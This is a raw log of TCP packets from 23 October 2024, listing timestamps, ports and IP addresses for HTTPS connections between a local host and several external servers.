Oct 23, 2024 21:04:03.516028881 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:03.516097069 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:03.516123056 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:03.516141891 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:03.516172886 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:03.516202927 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:03.516241074 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:03.516258955 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:03.516283035 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:03.516289949 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:03.533858061 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:03.533977985 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:03.534032106 CEST	49716	443	192.168.2.6	151.101.194.137
Oct 23, 2024 21:04:03.534032106 CEST	49716	443	192.168.2.6	151.101.194.137
Oct 23, 2024 21:04:03.534267902 CEST	49716	443	192.168.2.6	151.101.194.137
Oct 23, 2024 21:04:03.534298897 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:03.534310102 CEST	49716	443	192.168.2.6	151.101.194.137
Oct 23, 2024 21:04:03.534414053 CEST	49716	443	192.168.2.6	151.101.194.137
Oct 23, 2024 21:04:03.554393053 CEST	49719	443	192.168.2.6	151.101.2.137
Oct 23, 2024 21:04:03.554442883 CEST	443	49719	151.101.2.137	192.168.2.6
Oct 23, 2024 21:04:03.554517984 CEST	49719	443	192.168.2.6	151.101.2.137
Oct 23, 2024 21:04:03.554689884 CEST	49719	443	192.168.2.6	151.101.2.137
Oct 23, 2024 21:04:03.554702997 CEST	443	49719	151.101.2.137	192.168.2.6
Oct 23, 2024 21:04:03.570126057 CEST	49720	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:03.570169926 CEST	443	49720	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:03.570468903 CEST	49720	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:03.572014093 CEST	49721	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:03.572056055 CEST	443	49721	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:03.572156906 CEST	49721	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:03.572877884 CEST	49720	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:03.572895050 CEST	443	49720	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:03.573286057 CEST	49721	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:03.573297977 CEST	443	49721	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:03.576512098 CEST	49722	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:03.576527119 CEST	443	49722	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:03.576780081 CEST	49722	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:03.576780081 CEST	49722	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:03.576806068 CEST	443	49722	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:03.577920914 CEST	49723	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:03.577930927 CEST	443	49723	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:03.577992916 CEST	49723	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:03.578293085 CEST	49723	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:03.578304052 CEST	443	49723	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:03.578804016 CEST	49724	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:03.578847885 CEST	443	49724	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:03.578910112 CEST	49724	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:03.579035997 CEST	49724	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:03.579049110 CEST	443	49724	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:03.880115032 CEST	49728	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:03.880132914 CEST	443	49728	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:03.880332947 CEST	49728	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:03.880594015 CEST	49728	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:03.880608082 CEST	443	49728	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:04.172087908 CEST	443	49719	151.101.2.137	192.168.2.6
Oct 23, 2024 21:04:04.172318935 CEST	49719	443	192.168.2.6	151.101.2.137
Oct 23, 2024 21:04:04.172343969 CEST	443	49719	151.101.2.137	192.168.2.6
Oct 23, 2024 21:04:04.173763990 CEST	443	49719	151.101.2.137	192.168.2.6
Oct 23, 2024 21:04:04.173919916 CEST	49719	443	192.168.2.6	151.101.2.137
Oct 23, 2024 21:04:04.174274921 CEST	49719	443	192.168.2.6	151.101.2.137
Oct 23, 2024 21:04:04.174362898 CEST	443	49719	151.101.2.137	192.168.2.6
Oct 23, 2024 21:04:04.174426079 CEST	49719	443	192.168.2.6	151.101.2.137
Oct 23, 2024 21:04:04.215331078 CEST	443	49719	151.101.2.137	192.168.2.6
Oct 23, 2024 21:04:04.226051092 CEST	49719	443	192.168.2.6	151.101.2.137
Oct 23, 2024 21:04:04.226073980 CEST	443	49719	151.101.2.137	192.168.2.6
Oct 23, 2024 21:04:04.271922112 CEST	49719	443	192.168.2.6	151.101.2.137
Oct 23, 2024 21:04:04.303987980 CEST	443	49719	151.101.2.137	192.168.2.6
Oct 23, 2024 21:04:04.329207897 CEST	443	49722	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.329982996 CEST	49722	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:04.330013990 CEST	443	49722	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.330239058 CEST	49722	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:04.330245972 CEST	443	49722	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.331368923 CEST	443	49720	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.332082033 CEST	49720	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:04.332098961 CEST	443	49720	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.332993031 CEST	49720	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:04.332998037 CEST	443	49720	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.336678028 CEST	443	49723	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.337073088 CEST	49723	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:04.337093115 CEST	443	49723	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.337503910 CEST	49723	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:04.337510109 CEST	443	49723	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.339842081 CEST	443	49721	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.340307951 CEST	49721	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:04.340328932 CEST	443	49721	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.341141939 CEST	49721	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:04.341146946 CEST	443	49721	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.350611925 CEST	49719	443	192.168.2.6	151.101.2.137
Oct 23, 2024 21:04:04.354438066 CEST	443	49724	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.355226040 CEST	49724	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:04.355258942 CEST	443	49724	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.358441114 CEST	49724	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:04.358454943 CEST	443	49724	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.423119068 CEST	443	49719	151.101.2.137	192.168.2.6
Oct 23, 2024 21:04:04.423135042 CEST	443	49719	151.101.2.137	192.168.2.6
Oct 23, 2024 21:04:04.423156023 CEST	443	49719	151.101.2.137	192.168.2.6
Oct 23, 2024 21:04:04.423166990 CEST	443	49719	151.101.2.137	192.168.2.6
Oct 23, 2024 21:04:04.423193932 CEST	49719	443	192.168.2.6	151.101.2.137
Oct 23, 2024 21:04:04.423196077 CEST	443	49719	151.101.2.137	192.168.2.6
Oct 23, 2024 21:04:04.423222065 CEST	443	49719	151.101.2.137	192.168.2.6
Oct 23, 2024 21:04:04.423238039 CEST	49719	443	192.168.2.6	151.101.2.137
Oct 23, 2024 21:04:04.423265934 CEST	49719	443	192.168.2.6	151.101.2.137
Oct 23, 2024 21:04:04.466728926 CEST	443	49722	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.466753006 CEST	443	49722	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.466809988 CEST	49722	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:04.466818094 CEST	443	49722	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.466932058 CEST	49722	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:04.467103004 CEST	49722	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:04.467128992 CEST	443	49722	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.467142105 CEST	49722	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:04.467150927 CEST	443	49722	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.468432903 CEST	443	49720	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.468462944 CEST	443	49720	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.468564987 CEST	49720	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:04.468584061 CEST	443	49720	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.468638897 CEST	49720	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:04.468875885 CEST	49720	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:04.468875885 CEST	49720	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:04.468884945 CEST	443	49720	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.469580889 CEST	443	49720	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.469739914 CEST	443	49720	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.470254898 CEST	49720	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:04.470479965 CEST	49729	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:04.470526934 CEST	443	49729	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.470805883 CEST	49729	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:04.470984936 CEST	49729	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:04.470994949 CEST	443	49729	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.471332073 CEST	49730	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:04.471368074 CEST	443	49730	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.471461058 CEST	49730	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:04.471740007 CEST	49730	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:04.471750975 CEST	443	49730	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.478282928 CEST	443	49723	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.478313923 CEST	443	49723	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.478403091 CEST	443	49723	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.478432894 CEST	49723	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:04.478662014 CEST	49723	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:04.478662014 CEST	49723	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:04.478684902 CEST	49723	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:04.478702068 CEST	443	49723	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.482624054 CEST	443	49721	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.482701063 CEST	443	49721	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.482891083 CEST	49721	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:04.483176947 CEST	49721	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:04.483203888 CEST	443	49721	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.483222008 CEST	49721	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:04.483228922 CEST	443	49721	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.484980106 CEST	49731	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:04.485003948 CEST	443	49731	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.485343933 CEST	49731	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:04.485716105 CEST	49731	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:04.485728979 CEST	443	49731	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.486696959 CEST	49732	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:04.486720085 CEST	443	49732	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.486799002 CEST	49732	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:04.487102985 CEST	49732	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:04.487116098 CEST	443	49732	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.493561983 CEST	443	49724	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.493637085 CEST	443	49724	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.493849039 CEST	49724	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:04.493952990 CEST	49724	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:04.493969917 CEST	443	49724	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.493984938 CEST	49724	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:04.493992090 CEST	443	49724	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.496993065 CEST	49733	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:04.497016907 CEST	443	49733	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.497165918 CEST	49733	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:04.497669935 CEST	49733	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:04.497684002 CEST	443	49733	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:04.542742968 CEST	443	49719	151.101.2.137	192.168.2.6
Oct 23, 2024 21:04:04.542759895 CEST	443	49719	151.101.2.137	192.168.2.6
Oct 23, 2024 21:04:04.542782068 CEST	443	49719	151.101.2.137	192.168.2.6
Oct 23, 2024 21:04:04.542819023 CEST	443	49719	151.101.2.137	192.168.2.6
Oct 23, 2024 21:04:04.542848110 CEST	49719	443	192.168.2.6	151.101.2.137
Oct 23, 2024 21:04:04.542869091 CEST	443	49719	151.101.2.137	192.168.2.6
Oct 23, 2024 21:04:04.542896986 CEST	49719	443	192.168.2.6	151.101.2.137
Oct 23, 2024 21:04:04.542933941 CEST	49719	443	192.168.2.6	151.101.2.137
Oct 23, 2024 21:04:04.588481903 CEST	443	49728	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:04.592107058 CEST	49728	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:04.592132092 CEST	443	49728	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:04.593735933 CEST	443	49728	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:04.593911886 CEST	49728	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:04.594799995 CEST	49728	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:04.594899893 CEST	443	49728	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:04.595011950 CEST	49728	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:04.636537075 CEST	49728	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:04.636550903 CEST	443	49728	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:04.677386045 CEST	443	49719	151.101.2.137	192.168.2.6
Oct 23, 2024 21:04:04.677402020 CEST	443	49719	151.101.2.137	192.168.2.6
Oct 23, 2024 21:04:04.677486897 CEST	443	49719	151.101.2.137	192.168.2.6
Oct 23, 2024 21:04:04.678000927 CEST	49719	443	192.168.2.6	151.101.2.137
Oct 23, 2024 21:04:04.678036928 CEST	443	49719	151.101.2.137	192.168.2.6
Oct 23, 2024 21:04:04.679384947 CEST	49719	443	192.168.2.6	151.101.2.137
Oct 23, 2024 21:04:04.683065891 CEST	49728	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:04.785048962 CEST	443	49719	151.101.2.137	192.168.2.6
Oct 23, 2024 21:04:04.785075903 CEST	443	49719	151.101.2.137	192.168.2.6
Oct 23, 2024 21:04:04.785125971 CEST	49719	443	192.168.2.6	151.101.2.137
Oct 23, 2024 21:04:04.785160065 CEST	443	49719	151.101.2.137	192.168.2.6
Oct 23, 2024 21:04:04.785186052 CEST	49719	443	192.168.2.6	151.101.2.137
Oct 23, 2024 21:04:04.785216093 CEST	49719	443	192.168.2.6	151.101.2.137
Oct 23, 2024 21:04:04.900023937 CEST	443	49728	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:04.900067091 CEST	443	49728	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:04.900074005 CEST	443	49728	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:04.900182009 CEST	443	49728	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:04.900211096 CEST	443	49728	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:04.900228024 CEST	443	49728	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:04.900238991 CEST	49728	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:04.900250912 CEST	443	49728	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:04.900269985 CEST	443	49728	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:04.900274992 CEST	49728	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:04.900274992 CEST	49728	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:04.900274992 CEST	49728	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:04.900352955 CEST	49728	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:04.900352955 CEST	49728	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:04.900358915 CEST	443	49728	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:04.941448927 CEST	49728	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:05.016953945 CEST	443	49719	151.101.2.137	192.168.2.6
Oct 23, 2024 21:04:05.016968012 CEST	443	49719	151.101.2.137	192.168.2.6
Oct 23, 2024 21:04:05.016988039 CEST	443	49719	151.101.2.137	192.168.2.6
Oct 23, 2024 21:04:05.017061949 CEST	49719	443	192.168.2.6	151.101.2.137
Oct 23, 2024 21:04:05.017112970 CEST	443	49719	151.101.2.137	192.168.2.6
Oct 23, 2024 21:04:05.017134905 CEST	49719	443	192.168.2.6	151.101.2.137
Oct 23, 2024 21:04:05.017136097 CEST	443	49719	151.101.2.137	192.168.2.6
Oct 23, 2024 21:04:05.017174006 CEST	49719	443	192.168.2.6	151.101.2.137
Oct 23, 2024 21:04:05.017205000 CEST	49719	443	192.168.2.6	151.101.2.137
Oct 23, 2024 21:04:05.017891884 CEST	49719	443	192.168.2.6	151.101.2.137
Oct 23, 2024 21:04:05.017909050 CEST	443	49719	151.101.2.137	192.168.2.6
Oct 23, 2024 21:04:05.021389961 CEST	443	49728	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:05.021406889 CEST	443	49728	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:05.021433115 CEST	443	49728	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:05.021509886 CEST	443	49728	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:05.021560907 CEST	49728	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:05.021560907 CEST	49728	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:05.021560907 CEST	49728	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:05.022293091 CEST	49728	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:05.022305965 CEST	443	49728	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:05.072731972 CEST	49735	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:05.072768927 CEST	443	49735	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:05.072858095 CEST	49735	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:05.073029041 CEST	49735	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:05.073049068 CEST	443	49735	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:05.083470106 CEST	443	49705	173.222.162.64	192.168.2.6
Oct 23, 2024 21:04:05.083539009 CEST	49705	443	192.168.2.6	173.222.162.64
Oct 23, 2024 21:04:05.238799095 CEST	443	49729	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:05.239300013 CEST	49729	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:05.239365101 CEST	443	49729	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:05.239794016 CEST	49729	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:05.239801884 CEST	443	49729	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:05.254769087 CEST	443	49731	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:05.255188942 CEST	49731	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:05.255209923 CEST	443	49731	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:05.255690098 CEST	49731	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:05.255697012 CEST	443	49731	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:05.256171942 CEST	443	49732	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:05.256561041 CEST	49732	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:05.256582975 CEST	443	49732	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:05.256964922 CEST	49732	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:05.256972075 CEST	443	49732	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:05.257814884 CEST	443	49730	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:05.258189917 CEST	49730	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:05.258208036 CEST	443	49730	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:05.258622885 CEST	49730	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:05.258629084 CEST	443	49730	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:05.312225103 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:05.312259912 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:05.312315941 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:05.312520027 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:05.312534094 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:05.326344013 CEST	443	49733	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:05.327073097 CEST	49733	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:05.327094078 CEST	443	49733	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:05.327486992 CEST	49733	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:05.327492952 CEST	443	49733	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:05.376435995 CEST	443	49729	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:05.376602888 CEST	443	49729	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:05.376661062 CEST	49729	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:05.376859903 CEST	49729	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:05.376895905 CEST	443	49729	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:05.376914024 CEST	49729	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:05.376920938 CEST	443	49729	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:05.382417917 CEST	49737	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:05.382531881 CEST	443	49737	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:05.382615089 CEST	49737	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:05.382822990 CEST	49737	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:05.382865906 CEST	443	49737	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:05.393502951 CEST	443	49732	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:05.393702030 CEST	443	49732	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:05.393755913 CEST	49732	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:05.395838022 CEST	49732	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:05.395858049 CEST	443	49732	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:05.395869970 CEST	49732	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:05.395878077 CEST	443	49732	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:05.398540974 CEST	443	49730	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:05.398622036 CEST	443	49730	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:05.398736000 CEST	49730	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:05.398757935 CEST	49738	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:05.398792982 CEST	49730	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:05.398808956 CEST	443	49738	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:05.398811102 CEST	443	49730	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:05.398854017 CEST	49730	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:05.398861885 CEST	443	49730	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:05.398905039 CEST	49738	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:05.399038076 CEST	49738	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:05.399075985 CEST	443	49738	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:05.400904894 CEST	49739	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:05.400932074 CEST	443	49739	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:05.400999069 CEST	49739	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:05.401145935 CEST	49739	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:05.401174068 CEST	443	49739	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:05.482697010 CEST	443	49733	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:05.483253002 CEST	443	49733	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:05.483336926 CEST	49733	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:05.483336926 CEST	49733	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:05.483364105 CEST	49733	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:05.483380079 CEST	443	49733	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:05.486294985 CEST	49740	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:05.486391068 CEST	443	49740	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:05.486462116 CEST	49740	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:05.486660004 CEST	49740	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:05.486691952 CEST	443	49740	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:05.541593075 CEST	443	49731	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:05.541754007 CEST	443	49731	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:05.541812897 CEST	49731	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:05.541898012 CEST	49731	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:05.541922092 CEST	443	49731	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:05.541948080 CEST	49731	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:05.541955948 CEST	443	49731	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:05.544970036 CEST	49741	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:05.545001984 CEST	443	49741	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:05.545078039 CEST	49741	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:05.545265913 CEST	49741	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:05.545279980 CEST	443	49741	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:05.815977097 CEST	443	49735	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:05.816251993 CEST	49735	443	192.168.2.6	63.250.38.7
